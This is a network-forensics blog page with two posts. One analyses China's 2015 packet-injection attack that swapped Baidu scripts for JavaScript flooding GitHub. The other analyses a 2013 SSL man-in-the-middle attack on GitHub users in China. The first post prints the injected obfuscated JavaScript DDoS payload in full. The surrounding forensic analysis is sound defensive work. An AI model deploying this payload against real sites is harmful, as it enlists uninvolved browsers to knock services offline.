NETRESEC Network Security Blog - Tag : GitHub


China's Man-on-the-Side Attack on GitHub

GitHub tweeting about DDoS attack

On March 27 The following message was posted on the official GitHub blog:

We are currently experiencing the largest DDoS (distributed denial of service) attack in github.com's history. The attack began around 2AM UTC on Thursday, March 26, and involves a wide combination of attack vectors. These include every vector we've seen in previous attacks as well as some sophisticated new techniques that use the web browsers of unsuspecting, uninvolved people to flood github.com with high levels of traffic. Based on reports we've received, we believe the intent of this attack is to convince us to remove a specific class of content.

We have looked closer at this attack and can conclude that China is using their active and passive network infrastructure in order to perform a packet injection attack, known as a man-on-the-side attack against GitHub. See our "TTL analysis" at the end of this blog post to see how we know this is a Man-on-the-side attack.

In short, this is how this Man-on-the-Side attack is carried out:

  1. An innocent user is browsing the internet from outside China.
  2. One website the user visits loads a JavaScript from a server in China, for example the Badiu Analytics script that often is used by web admins to track visitor statistics (much like Google Analytics).
  3. The web browser's request for the Baidu JavaScript is detected by the Chinese passive infrastructure as it enters China.
  4. A fake response is sent out (3 packets injected) from within China instead of the actual Baidu Analytics script. This fake response is a malicious JavaScript that tells the user's browser to continuously reload two specific pages on GitHub.com.

However, not all users loading JavaScripts from inside China are attacked in this way. Our analysis shows that only about 1% of the requests for the Baidu Analytics script are receiving the malicious JavaScript as response. So in 99% of the cases everything behaves just like normal.

We managed to get a browser to load the malicious JavaScript simply by browsing a few Chinese websites. After the JavaScript loaded we observed the following behavior in our network traffic: CapLoader Gantt chart of traffic generated by the malicious JavaScriptImage: CapLoader Gantt chart of traffic generated by the malicious JavaScript

The script got our browser to connect to github.com (IP address 192.30.252.[128-131]) in an infinite loop.


Baidu Analytics

The Baidu Analytics script can be loaded from URLs like:
http://hm.baidu.com/h.js?0deadbeef000deadbeef000deadbeef0 (normal version)
http://hm.baidu.com/hm.js?0deadbeef000deadbeef000deadbeef0 (asynchronous version)

The proper JavaScript received when requesting such an URL should look like this: Baidu Analytics script in CapLoader Image: CapLoader flow transcript of the Baidu Analytics script

The injected response with the malicious JavaScript looks like this: Malicious JavaScript in CapLoader Image: CapLoader flow transcript of the malicious JavaScript

The injected response is actually exactly the same every time, consisting of three TCP packets with the following payload:

Injected packet #1:

HTTP/1.1 200 OK
Server: Apache
Connection: close
Content-Type: text/javascript
Content-Length: 1130


Injected packet #2:

eval(function(p,a,c,k,e,r){e=function(c){return(c<a?\'\':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!\'\'.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return\'\\\\w+\'};c=1};while(c--)if(k[c])p=p.replace(new RegExp(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c]);return p}(\'l.k("<5 p=\\\'r://H.B.9/8/2.0.0/8.C.t\\\'>\\\\h/5>");!J.K&&l.k("<5 p=\\\'r://L.8.9/8-T.t\\\'>\\\\h/5>");j=(6 4).c();7 g=0;3 i(){7 a=6 4;V 4.Z(a.10(),a.w(),a.x(),a.11(),a.y(),a.z())/A}d=["m://n.9/E","m://n.9/F-G"];o=d.I;3 e(){7 a=i()%o;q(d[a])}3 q(a){7 b;$.M({N:a,O:"5",P:Q,R:!0,S:3(){s=(6 4).c()},U:3(){f=(6 4).c();b=W.X(f-s);Y>f-j&&(u(b),g+=1)}})}3 u(a){v("e()",a)}v("e()",D);\',62,64,\'|||function|Date|script|new|var|jquery|com|||getTime|url_array|r_send2|responseTime|count|x3c|unixtime|startime|write|document|https|github|NUM|src|get|http|requestTime|js|r_send|setTimeout|getMonth|getDay|getMinutes|getSeconds|1E3|baidu|min|2E3|greatfire|cn|nytimes|libs|length|window|jQuery|code|ajax|url|dataType|timeou

Injected packet #3:
t|1E4|cache|beforeSend|latest|complete|return|Math|floor|3E5|UTC|getFullYear|getHours'.split('|'),0,{}))

The malicious JavaScript is somewhat obfuscated, but some simple deobfuscation leaves us with the following code: Deobfuscated JavaScript

As can be seen in the code, the two targeted URLs are github.com/greatfire and github.com/cn-nytimes, which are mirror sites for GreatFire.org and the Chinese New York Times. GreatFire and NYT both use GitHub to circumvent the online censorship performed by the Great Firewall of China (GFW).


TTL Analysis

Time-To-Live (TTL) analysis is a powerful method that can be used in order to analyze Man-in-the-Middle as well as Man-on-the-Side attacks. We've used this method before when analyzing the Chinese MITM attacks on iCloud, Yahoo, Google and GitHub.

What is interesting with this new attack on GitHub is that the attackers are now trying to make it difficult to locate the injection point of the malicious JavaScript by modifying the IP TTL values of injected packets.

The following Tshark output prints Source-IP, Destination-IP, TCP-Flags and IP-TTL in four columns (comments in yellow):

tshark -r baidu-high-ttl.pcap -T fields -e ip.src -e ip.dst -e tcp.flags -e ip.ttl
192.168.70.160 61.135.185.140 0x0002 64 <- SYN (client)
61.135.185.140 192.168.70.160 0x0012 42 <- SYN+ACK (server)
192.168.70.160 61.135.185.140 0x0010 64 <- ACK (client)
192.168.70.160 61.135.185.140 0x0018 64 <- HTTP GET (client)
61.135.185.140 192.168.70.160 0x0018 227 <- Injected packet 1 (injector)
192.168.70.160 61.135.185.140 0x0010 64
61.135.185.140 192.168.70.160 0x0018 228 <- Injected packet 2 (injector)
61.135.185.140 192.168.70.160 0x0019 229 <- Injected packet 3 (injector)
192.168.70.160 61.135.185.140 0x0010 64
192.168.70.160 61.135.185.140 0x0011 64

Notice how the TTL of the SYN+ACK packet from the server is 42, while the three injected packets with payload have TTL values of 227, 228 and 229?

Here is another PCAP file where injected packets have low TTL values:

tshark -r baidu-low-ttl.pcap -T fields -e ip.src -e ip.dst -e tcp.flags -e ip.ttl
192.168.70.160 61.135.185.140 0x0002 64 <- SYN (client)
61.135.185.140 192.168.70.160 0x0012 42 <- SYN+ACK (server)
192.168.70.160 61.135.185.140 0x0010 64 <- ACK (client)
192.168.70.160 61.135.185.140 0x0018 64 <- HTTP GET (client)
61.135.185.140 192.168.70.160 0x0018 30 <- Injected packet 1 (injector)
192.168.70.160 61.135.185.140 0x0010 64
61.135.185.140 192.168.70.160 0x0018 31 <- Injected packet 2 (injector)
61.135.185.140 192.168.70.160 0x0019 32 <- Injected packet 3 (injector)
192.168.70.160 61.135.185.140 0x0010 64
192.168.70.160 61.135.185.140 0x0011 64

The server's SYN+ACK packet stays at an IP TTL of 42 pretty much throughout our whole analysis, but the TTL of packets carrying the malicious payload varied between 30 and 229. This behavior implies that the SYN+ACK packet we are seeing is coming from the actual Baidu server, while the packets carrying the malicious payload are injected somewhere else.

As we've mentioned before the three injected packets are always carrying identical payloads and the only thing that changes in between sessions is basically the target TCP port. This further strengthens our assumption that these three packets are being injected. We even tried dropping one of the injected packets and thereby requesting a retransmission of that packet from the server, but we got nothing back. This too is a typical artifact showing that the malicious JavaScript has been delivered through injected packets as part of a Man-on-the-Side attack as opposed to coming from the actual Baidu server.


Additional Sources for the Malicious JS

The Baidu Analytics is not the only script that has been replaced with a malicious one. Users have also reported JavaScript replacements of Baidu Ads as well as several other services. In GreatFire.org's technical analysis of the DDoS attack against them they mention that they have seen JavaScripts being replaced for URLs like:

  • hm.baidu.com/h.js
  • cbjs.baidu.com/js/o.js
  • dup.baidustatic.com/tpl/wh.js
  • dup.baidustatic.com/tpl/ac.js
  • dup.baidustatic.com/painter/clb/fixed7o.js
  • dup.baidustatic.com/painter/clb/fixed7o.js
  • eclick.baidu.com/fp.htm?br= ...
  • pos.baidu.com/acom?adn= ...
  • cpro.baidu.com/cpro/ui/uijs.php?tu=...
  • pos.baidu.com/sync_pos.htm?cproid=...

These domains are all owned by Baidu, but technically any JavaScript from any site in China could have been exploited to perform this sort of packet injection attack.

Great Wall of China by beggs

Conclusions

This attack demonstrates how the vast passive and active network filtering infrastructure in China, known as the Great Firewall of China or "GFW", can be used in order to perform powerful DDoS attacks. Hence, the GFW cannot be considered just a technology for inspecting and censoring the Internet traffic of Chinese citizens, but also a platform for conducting DDoS attacks against targets world wide with help of innocent users visiting Chinese websites.


UPDATE - April 2'nd

Robert Graham of Errata Security has now verified our conclusion, that the attack is coming from China, by performing an "http-traceroute". Robert writes:

Using my custom http-traceroute, I've proven that the man-in-the-middle machine attacking GitHub is located on or near the Great Firewall of China. While many explanations are possible, such as hackers breaking into these machines, the overwhelmingly most likely suspect for the source of the GitHub attacks is the Chinese government.


UPDATE - April 13'th

Bill Marczak, Nicholas Weaver, Jakub Dalek, Roya Ensafi, David Fifield, Sarah McKune, Arn Rey, John Scott-Railton, Ronald Deibert and Vern Paxson have published their research about this new cyber weapon, which they have dubbed the "Great Cannon" (GC). In their blog post they confirm our findings regarding odd TTL values in the injected packets:

The packets injected by the [Great Cannon] also have the same peculiar TTL side-channel as those injected by the GFW, suggesting that both the GFW and the GC likely share some common code.

For more details on the TTL side-channel of the GFW, please read the Usenix FOCI '14 paper Towards a Comprehensive Picture of the Great Firewall’s DNS Censorship.

Even though the authors of the "Great Cannon" blog post claim that GC is not part of GFW they still confirm that they are co-located:

[T]he shared source code and co-location between the GFW and GC suggest that the GC could have been developed within the same institutional framework as the GFW.

They also traced the path to the GFW and GC:

For 115.239.210.141, the GFW and the GC both exist between hop 12 and 13, on the link between 144.232.12.211 and 202.97.33.37, as the traffic enters China Telecom. For 123.125.65.120, the GFW and GC both exist between hop 17 and 18, on the link between 219.158.101.61 and 219.158.101.49, belonging to China Unicom.

This confirms that the GC is located within the same ASN's as where we've previously seen the GFW perform SSL MITM attacks, which is in AS4134 (China Telecom) and AS4837 (China Unicom).

They also published several PCAP files, where they interact with the GFW and GC:


UPDATE - April 25'th

Niels Provos at Google posted an interesting report about the DDoS called A Javascript-based DDoS Attack as seen by Safe Browsing. In the report he shows that the packet injection rate wasn't fixed at 1 percent, it actually reached 17.5 percent for a few days when greatfire.org was being attacked.

GFW packet injections over time. Source: Niels Provos, Google
Image by Niels Provos, at Google

Niels also provided additional details regarding the domains that were spoofed by the GFW to deliver the malicious javascript throug packet injection:

  • cbjs.baidu.com (123.125.65.120)
  • eclick.baidu.com (123.125.115.164)
  • hm.baidu.com (61.135.185.140)
  • pos.baidu.com (115.239.210.141)
  • cpro.baidu.com (115.239.211.17)
  • bdimg.share.baidu.com (211.90.25.48)
  • pan.baidu.com (180.149.132.99)
  • wapbaike.baidu.com (123.125.114.15)

If you would like to learn how to detect and analyze man-on-the-side attacks, then we recommend that you sign up for our two-day Network Forensics Class.

Posted by Erik Hjelmvik on Tuesday, 31 March 2015 01:15:00 (UTC/GMT)

Tags: #GFW #GitHub #China #packet injection #MOTS #MITM #Netresec #PCAP #AS4134 #AS4837

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL: http://netres.ec/?b=153DB4E


Forensics of Chinese MITM on GitHub

Great Wall of China by beggs

On January 26 several users in China reported  SSL  problems while connecting to the software development site GitHub.com. The reports indicated that the Great Firewall of China (GFW) was used to perform a Man-in-the-Middle (MITM) attack against users in China who were visiting GitHub. This attack was most likely conducted in order to track which users that were reading or contributing to the list of persons behind the GFW, which is hosted on GitHub.

There is a good writetup on the attack by GreatFire.org, which says:

”At around 8pm, on January 26, reports appeared on Weibo and Twitter that users in China trying to access GitHub.com were getting warning messages about invalid SSL certificates. The evidence, listed further down in this post, indicates that this was caused by a man-in-the-middle attack.
[...]
It was very crude, in that the fake certificate was signed by an unknown authority and bound to be detected quickly. The attack stopped after about an hour.”

SSL error at github.com by bitinn
Screenshot of SSL error at github.com by @bitinn

An important part of evidence, which was used  in  the  coverage of this incident, was a packet capture file named github.pcapng that was anonymously uploaded to CloudShark.

A self-signed X.509 certificate file, named github.com.crt, was also used as evidence. It is, however, easy to extract X.509 certificates from PCAP files, so the github.com.crt file might come from the github.pcapng capture file at CloudShark.

We have no reason not to trust the reports coming from users in China, who have been victims of this MITM attack. However, in the spirit of “Trust, but verify” I decided to perform some network forensic analysis on the capture file. More specifically I set out to answer the following questions:

Q1 : Is the user a victim of a real attack rather than having staged and recorded a MITM attack set up by himself?
Q2 : Is the user located in China?
Q3 : What can we say about the technology being used for the MITM?

Time-to-Live Analysis

My first step was to load the PcapNG file from CloudShark in CapLoader:

File > Open URL > Enter:
http://www.cloudshark.org/captures/cbdd11b20a5c/download

CapLoader with github.pcapng loaded

The “Hosts” tab shows that the capture file only contained traffic between two network hosts; the user's machine and the GitHub server. I also noticed that the GitHub server (207.97.227.239) had an IP TTL of 58 and TCP Window Size of 5840. This values are a typical indication of the host being a Linux machine (see our passive OS fingerprinting blog post for more details). However, when connecting to GitHub.com from here (Sweden) the same server has an IP TTL of 128 and Window Size 64240. This looks more like a Windows machine, and is significantly different from what the Chinese user got.

It can also be noted that a TTL of 58, which the Chinese user got, would mean that the SSL connection was terminated just six router hops away from the user. However, a traceroute from ihep.ac.cn (in Beijing, China) to github.com requires a whopping 16 hops. Additionally, this traceroute hasn't even left Beijing after six hops.

traceroute to 207.97.227.239 (207.97.227.239), 30 hops max, 38 byte packets
1 gw (202.38.128.2) 0.231 ms 0.175 ms 0.178 ms
2 202.122.36.1 (202.122.36.1) 0.719 ms 0.626 ms 0.652 ms
3 192.168.1.25 (192.168.1.25) 0.509 ms 0.485 ms 0.459 ms
4 8.131 (159.226.253.77) 0.516 ms 0.488 ms 0.496 ms
5 8.198 (159.226.253.54) 11.981 ms 0.913 ms 0.829 ms
6 8.192 (159.226.254.254) 40.477 ms 40.614 ms 40.524 ms
7 Gi6-0.gw2.hkg3.asianetcom.net (203.192.137.173) 53.062 ms 40.610 ms 40.617 ms
8 te0-3-0-0.wr1.hkg0.asianetcom.net (61.14.157.249) 42.459 ms 43.133 ms 43.765 ms
9 te0-1-0-0.wr1.osa0.asianetcom.net (61.14.157.58) 76.603 ms 76.586 ms 76.648 ms
10 gi6-0-0.gw1.sjc1.asianetcom.net (61.14.157.98) 195.939 ms 195.934 ms 196.090 ms
11 ip-202-147-50-250.asianetcom.net (202.147.50.250) 180.966 ms 181.058 ms 181.339 ms
12 dcx2-edge-01.inet.qwest.net (67.14.28.70) 342.431 ms 340.882 ms 338.639 ms
13 67.133.246.158 (67.133.246.158) 253.975 ms 253.407 ms 253.742 ms
14 vlan905.core5.iad2.rackspace.net (72.4.122.10) 253.468 ms 252.947 ms 253.639 ms
15 aggr301a-1-core5.iad2.rackspace.net (72.4.122.121) 253.767 ms 253.862 ms 253.010 ms
16 github.com (207.97.227.239) 254.104 ms 253.789 ms 253.638 ms

MAC Address

NetworkMiner with PCAP file from GitHub MITM loaded

As shown in the NetworkMiner screenshot above, the Ethernet MAC address of the client's default gateway is ec:17:2f:15:23:b0, which indicates that the user's router was a device from TP-LINK. TP-LINK is a large provider of networking devices who make more than half of their sales within China. This supports the theory that the user was located in China.

PcapNG Metadata

As we've mentioned in a previous blog post, PcapNG files can contain a great deal of metadata. I therefore wrote a simple parser to extract all the juicy metadata that was available in the github.pcapng file that was anonymously uploaded to CloudShark. The metadata revealed that the user was running “64-bit Windows 7 Service Pack 1, build 7601” and sniffing with “Dumpcap 1.8.2 (SVN Rev 44520 from /trunk-1.8)”, which normally means that Wireshark 1.8.2 was being used (since it uses dumpcap for all packet capturing tasks).

The PcapNG file additionally contained a great deal of Name Resolution Blocks, i.e. cached DNS entries. Among these entries was an entry that mapped the IP 10.99.99.102 to the hostname “SHAOJU-IPAD.local”. So why was there a name resolution entry for an IP address that wasn't part of the capture file? Well, cached name resolution entries aren't properly cleaned from PcapNG files written with Wireshark 1.8.0 to 1.8.3 due to a vulnerability discovered by Laura Chappell.

So, who is “Shaoju”? Well, a Google query for shaoju github will bring you to the GitHub user Chen Shaoju, who also tweeted a screenshot of the SSL error he received when accessing GitHub.com.

SSL error received by Chen Shaoju when accessing GitHub.com

Conclusions

Q1 : Is the user a victim of a real attack rather than having staged and recorded a MITM attack set up by himself?
A1 : Yes, this is most likely a REAL attack. I'd find it unlikely that a user trying to fake such a MITM attack would use an environment with six router hops between the client and MITM machine.
Q2 : Is the user located in China?
A2 : Yes, I'm convinced that the PcapNG file was sniffed by Chen Shaoju, who lives in Wuxi, China according to his GitHub profile.
Q3 : What can we say about the technology being used for the MITM?
A3 : The fact that the MITM machine was six hops away from the user indicates that the MITM is taking place at some fairly central position in China's internet infrastructure, as opposed to being done locally at the ISP. Additionally, the machine doing the MITM seems to be running Linux and having an initial IP TTL of 64 and a TCP Window Size of 5840.


UPDATE (February 5) : Privacy / Anonymity

The fact that this blog post reveals the identity of the anonymous github.pcapng uploader seems to have caused some  reactions online.

I did, however, contact Chen Shaoju before publishing this blog post. In fact, I even sent him an email as soon as we discovered that it was possible to identify him through the capture file's metadata. Here's what I wrote:

“I'm working on a blog post about the GitHub pcap file on CloudShark. My analysis indicates that you sniffed the traffic. Is it OK with you if I publish this blog post?

If not, then I'd recommend that you remove the pcap file from couldshark in order to prevent others from identifying you via your pcap file.”
Shaoju responded the same day and said it was OK.

Once the text for the blog post was finished I also sent him a copy for verification before we published it online. Again, Shaoju responded swiftly and said that it looked good.

Also, I'm sure that Shaoju (@chenshaoju) can confirm that this blog post was published with his consent.

Finally, I'd like to add a few recommendations to users who wish to preserve their anonymity when sharing capture files:

  1. Filter out any traffic that isn't relevant to what you wish to share. CapLoader is a handy tool for selecting and filtering capture files based on flows or IP addresses.
  2. Save the capture file in the old libpcap (PCAP) format or convert your PcapNG file to PCAP format. This will remove the metadata available in Pcap-NG option fields.
  3. Anonymize frame headers, i.e Ethernet MAC addresses or even IP addresses (if needed), with a tool like: tcprewrite, Bit-Twist or TraceWrangler.

Posted by Erik Hjelmvik on Saturday, 02 February 2013 22:10:00 (UTC/GMT)

Tags: #GitHub #PcapNG #China #GFW #Forensics #MITM #SSL

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL: http://netres.ec/?b=1328C6B

twitter

NETRESEC on Twitter

Follow @netresec on twitter:
» twitter.com/netresec


book

Recommended Books

» The Practice of Network Security Monitoring, Richard Bejtlich (2013)

» Applied Network Security Monitoring, Chris Sanders and Jason Smith (2013)

» Network Forensics, Sherri Davidoff and Jonathan Ham (2012)

» The Tao of Network Security Monitoring, Richard Bejtlich (2004)

» Practical Packet Analysis, Chris Sanders (2017)

» Windows Forensic Analysis, Harlan Carvey (2009)

» TCP/IP Illustrated, Volume 1, Kevin Fall and Richard Stevens (2011)

» Industrial Network Security, Eric D. Knapp and Joel Langill (2014)